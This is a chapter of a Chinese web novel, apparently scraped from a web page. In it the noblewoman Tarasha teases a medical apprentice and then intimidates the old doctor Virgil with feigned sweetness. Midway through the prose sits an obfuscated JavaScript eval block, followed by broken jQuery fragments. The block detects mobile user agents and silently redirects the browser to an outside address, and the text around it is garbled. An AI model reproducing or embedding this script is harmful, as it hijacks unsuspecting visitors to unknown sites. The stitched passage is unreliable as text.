17. 冷汗

作品:《荆棘之外

    塔拉莎径直朝走出大厅,往主楼后的医疗院走去,一路上挥退了不少要跟着她的侍从。


    城堡里专门开辟出一个小院,培养大把医生来为城堡里的贵族服务,布莱克公爵和塔拉莎的身体健康全都由医疗院来负责。


    住得近了,叫医生也比较方便。往常都是侍女跑来传唤,医生拎着个箱子就往主楼跑,哪能让他们屈尊跑到小楼里来。


    春日困乏,更是临近中午的时候,站在门口的学徒打了个哈欠,刚睁开眼睛,眼前出现一个模糊又眼熟的身影——一个黑裙少女慢悠悠地走过来。


    屋外阳光有些刺眼,学徒的眼睛一时睁不开。


    他揉了揉眼睛,定睛一看,因为没睡醒而迟钝的神经登时起了火光,半张的嘴巴当即凝在脸上,整个人愣在原地,呆呆地看着已经走到眼前的人。


    她提起长的拖地的衣裙迈上石阶,经过他的时候还十分温柔地对他点头。


    一阵香风从他身旁飘过。


    他浑身一个机灵猛地反应过来,原先短路的脑子重新接回正轨,腿早已先行一步跟上塔拉莎的步伐。


    夏克莱特庄园规矩第二十七条,只要在庄园内看到主人,侍从是一定要上前迎接的。


    他虽然是医疗院的学徒,那些规矩管制不了他,但是他的老师说过,贵族敬重医生不代表医生就可以行使特权,连老师见到小姐都要亲自迎接,更何况是他这个小学徒呢。


    要是被老师知道,还不知道怎么罚他,一想到惩罚,他就有些害怕。


    平常的惩罚他不在乎,但是顶撞小姐是大罪,很可能被赶出庄园。


    他顶着背后不断冒出的冷汗,三步并两步赶上她,与小姐严格保持半个身位的距离,学徒一边挠头一边道歉:“抱歉,塔拉莎小姐,刚刚没有认出您,这实在是我的疏忽,您要是生气就罚我一顿吧,我发誓,我下次一定不会这样了。”


    塔拉莎停下脚步,好整以暇地转过头看着他,笑容甜美动人:“这样是哪样?怎么,怕我和维吉尔先生告状吗?”


    学徒紧急刹车,整个人摇摇晃晃的快要摔倒,像是没想到她直截了当地提出来,脸上满是慌乱,他一边尽力保持平衡,一边摆手:“当然不是,这怎么是告状呢?没有去迎接小姐本来就是我的失误,挨骂是应得的。”


    塔拉莎掩去笑意,故意板着脸:“哦——确实应该责骂,不过到时候我就不止告一次状了,你看看你自己,哪有人摇摇晃晃地和主人说话的。”


    她看着那人骤然变得紧张的脸色,心里满是恶趣味,凶神恶煞地说:“我可要好好跟维吉尔先生说说你是怎么怠慢我的。”


    那学徒根本不敢看她,一个劲地盯着鞋尖,手指止不住地扣着衣摆,整个人就是一个大写的局促不安。


    塔拉莎正想继续逗几句,突然有一道躲闪隐蔽的视线落在身上。


    她敏锐地朝墙角看去,嘴角的笑还没有完全散去,配上那双寒光四射的眼睛,竟在温暖的正午照出一股阴森森的冷意,像是被毒蛇盯上一样汗毛竖起。


    墙角有个灰影一闪而过,在看过去是空无一人。


    塔拉莎收回视线,旁边的学徒还是满脸惊慌,对几秒前发生的事件浑然未觉。


    她直起身,积攒的兴趣没了一半,收回刚刚逗弄的意思,声音又变回开始的温柔,完全看不出刚刚的阴冷黏腻。


    她抽出手帕,温热的手掌隔着手帕拍拍他的背,示意他不用害怕:“刚刚在逗你玩呢,这有什么好说的,你刚来这,什么规矩都不懂也还算正常,不用怕,我不会跟你老师说的。还是说,你觉得我就是那种喜欢告状的人吗?”


    学徒本来以为的一顿臭骂转身一变成了安慰,突然的如沐春风让他不知所措,背上的温热触感让他不知所措又坐立难安,只能呆呆地抬起头,游移的目光聚集在那对蒙着雾气的深绿色的瞳孔里,让那本就稚拙的舌头连说话都困难。


    塔拉莎一看就知道他是怎么了,她掩唇轻笑:“怎么不说话?难道是希望我去告状吗?”


    此话一出,怔愣的人立马恢复清醒。


    他连连摆手,舌头都还捋不直就张口:“不要告状,不是不是,不是告状,哎呀不是,我是说谢谢小姐,不是······”


    发现自己嘴里吐不出什么有用的东西,他恨恨地闭上嘴,恨不得甩自己一巴掌,光生了嘴巴却不知道用。


    塔拉莎差点被他的表情逗笑了,她扬起半边眉:“知道我要去告状就这么激动吗?”


    他这次学聪明了,知道话说不明白就只是看着她摇头。


    那样子看上去太傻了,塔拉莎噗嗤一声笑出来。


    笑颜直直地落在学徒的眼底——苍白的脸上,眉眼却极其浓烈,阳光照进她的瞳孔,在里面折射出层层光晕向外散开。


    他直愣愣地立在原地,也不说话。


    怎么又来了。


    塔拉莎眼角余光扫向墙角,原本积攒的耐心一度告罄,只想快点摆脱他进去。


    她面上笑起来:“放心吧,我不会跟你老师告状的。”


    似是觉得不够,她看了一眼他身上的衣服,知道他只是学徒,于是又补充了一句:“原来还是学徒啊,希望下次再见到你的时候,你就是又行医资格的医生了,下次再见。”


    说完,她绕过他快步往房间内走去。


    一缕黑发随着她的走动而调皮地跑出来,柔软如丝绸般的发丝滑过他的脸,带起一阵细痒的触感,他下意识屏住呼吸,伸出手捂着脸想留住那丝感觉。


    在塔拉莎踏进房门的第一步,他才堪堪反应过来,转过身看着她的背影渐渐消失不见。


    他捂着脸站在门口,喃喃自语:“一定会的,塔拉莎小姐。”


    塔拉莎拉开那扇门的一瞬间回头,那人还站在原地,她勾起一抹笑。


    真好骗啊,小学徒。


    在她拉开房门的一瞬间,房间里的两个人齐刷刷地站起来。


    塔拉莎歪着头笑道:“久等了,维吉尔先生。”


    维吉尔顶着一头银发,想从座椅前挪过来迎接她,被他旁边的人拦住。


    不过几秒,那人就走到门前,他低头弯腰向她行礼。


    塔拉莎笑容纯净,随手把刚刚的手帕往一旁的废纸篓一扔:“侍卫长先生也在啊。”


    说完,她松开门把手,绕过眼前正在行礼的侍卫长,朝沙发走去。


    侍卫长弯着腰不敢起身,只伸出手将门关上,转个身继续行礼。


    这里没有多余的眼线,塔拉莎斜倚在宽阔柔软的沙发上,手指虚点着额头,带着盈盈笑意看向这两个人。


    她略过正在弯腰的侍卫长,转向一旁站得费力的老医生。


    白皙纤细的手指从脸上滑下来,指着一旁的沙发:“维吉尔先生怎么还站着,快坐快坐,您身体不好,就应该多坐一会啊。”


    维吉尔在这提心吊胆了几个小时,丽塔和侍卫长的突然来访让他惶恐,也让他知道这位小姐必然会过来一次。他抹了一把额头上渗出的冷汗,撑着扶手缓缓坐下。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581781|170452||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    还没等他坐稳,突然而来的一句话让他差点冲天而起:“维吉尔先生怎么出汗了呢?我瞧这天气也不热啊,难道——是我的到来让您感觉不舒服吗?”


    维吉尔屁股还没挨到软垫就被吓得站起来,后背的冷汗将他的衬衣黏在一起,他连连摆手不敢看那双晶莹的绿眼睛:“当然不是,只是年纪大了,容易出虚汗。”


    塔拉莎脸上笑容更甚:“原来是这样啊,我还以为您是因为害怕我才出汗呢,真是,怪我想多了,这群人怎么照顾您的,连这点小事都做不好,维吉尔先生您放心,回去后我就给您挑几个有脑子的侍从来。”


    看着他布满褶皱的脸部缓缓滑下一滴汗水,她关切地探头过去似乎是想要看清楚,眼神却忽地冷却下来,嘴上话锋又一转:“可我怎么听说老先生您身体硬朗,怎么突然多了这么一个冒虚汗的毛病?还是说,只是单纯见了我要冒虚汗啊。”


    维吉尔在一旁听着连大气不敢喘一声,正想反驳,却在看见那双眼睛时倏地住嘴。


    她嘴角含着笑意,眉眼弯弯,那一副不管是谁见了都要夸一句的好相貌上满是光切,可维吉尔只看了一眼,还未干的衣服又被新出的冷汗打湿。


    ——眼角上扬的眼睛深处没有半分笑意,冷漠从眼眸里渗出来,像是要钻进他的四肢百骸。


    冷得透骨。


    身上的冷汗还没干,他又起了一层鸡皮疙瘩。


    她用手撑着头,翠绿的眼珠在他身上转了一圈,扫过他布满汗水的额头,再撇过有些抖动的裤腿,语气微微上扬:“干嘛这么紧张嘛,我只是开个玩笑,维吉尔先生知道的,我最爱开玩笑了。”


    随即,她用殷切又带着撒娇的口吻说:“维吉尔先生应该不会和我生气吧。”


    维吉尔抚平手上的鸡皮疙瘩,顺着她给的台阶一跃而下:“怎么会,小姐平时就喜欢开玩笑,我早就习惯了,再说,我从小看着您长大,怎么会害怕您呢?”说完,他一把擦掉快要滴到地板的汗。


    塔拉莎长长得哦了一声,像是想起小时候的事情,满脸欢快:“是啊,我就知道维吉尔先生最好了,肯定不会和我计较的。哎呀,您怎么还站着呢,快坐下快坐下,可别累着您。”


    她面带关切,视线一直跟着他的动作,像是十分关心维吉尔的动向。


    直到他颤抖着落座,她才转过头去。


    她看向桌上的茶杯,上面只有两个杯子,一杯一滴未动,一杯只剩下一个浅浅的底。


    维吉尔一直在偷瞄她,看她的目光落在茶盏上,还没坐热的屁股又要起来,想给她倒茶:“塔拉莎小姐,您口渴了吧,我去给您倒杯茶。”说着就要起身。


    塔拉莎瞟他一眼,随手挥了一下,阻止他离开,维吉尔只能坐回去。


    她看向门口那个还在鞠躬行礼的身影,幽幽开口:“洛厄尔,你过来。”


    洛厄尔这才起身,他快步走过来给她倒了一杯红茶,毕恭毕敬地递过去。


    等到塔拉莎单手接过,他又毫无怨言地站到她身后。


    看得维吉尔叹为观止,不自觉地咽了一口口水,心道:当着他这个门外汉的面,她都会毫不留情地羞辱他,那等到他犯事了,可就不仅仅是不让起身了吧。


    刚刚那个眼神又莫名钻进他的脑海里,让他无端生出一种被毒蛇缠绕又无处可躲的窒息感,他突然有点后悔和她合作了,他不是很想体验这种时时刻刻提心吊胆、胆战心惊的恐慌。


    就在他胡思乱想的时候,那条毒蛇又开口了。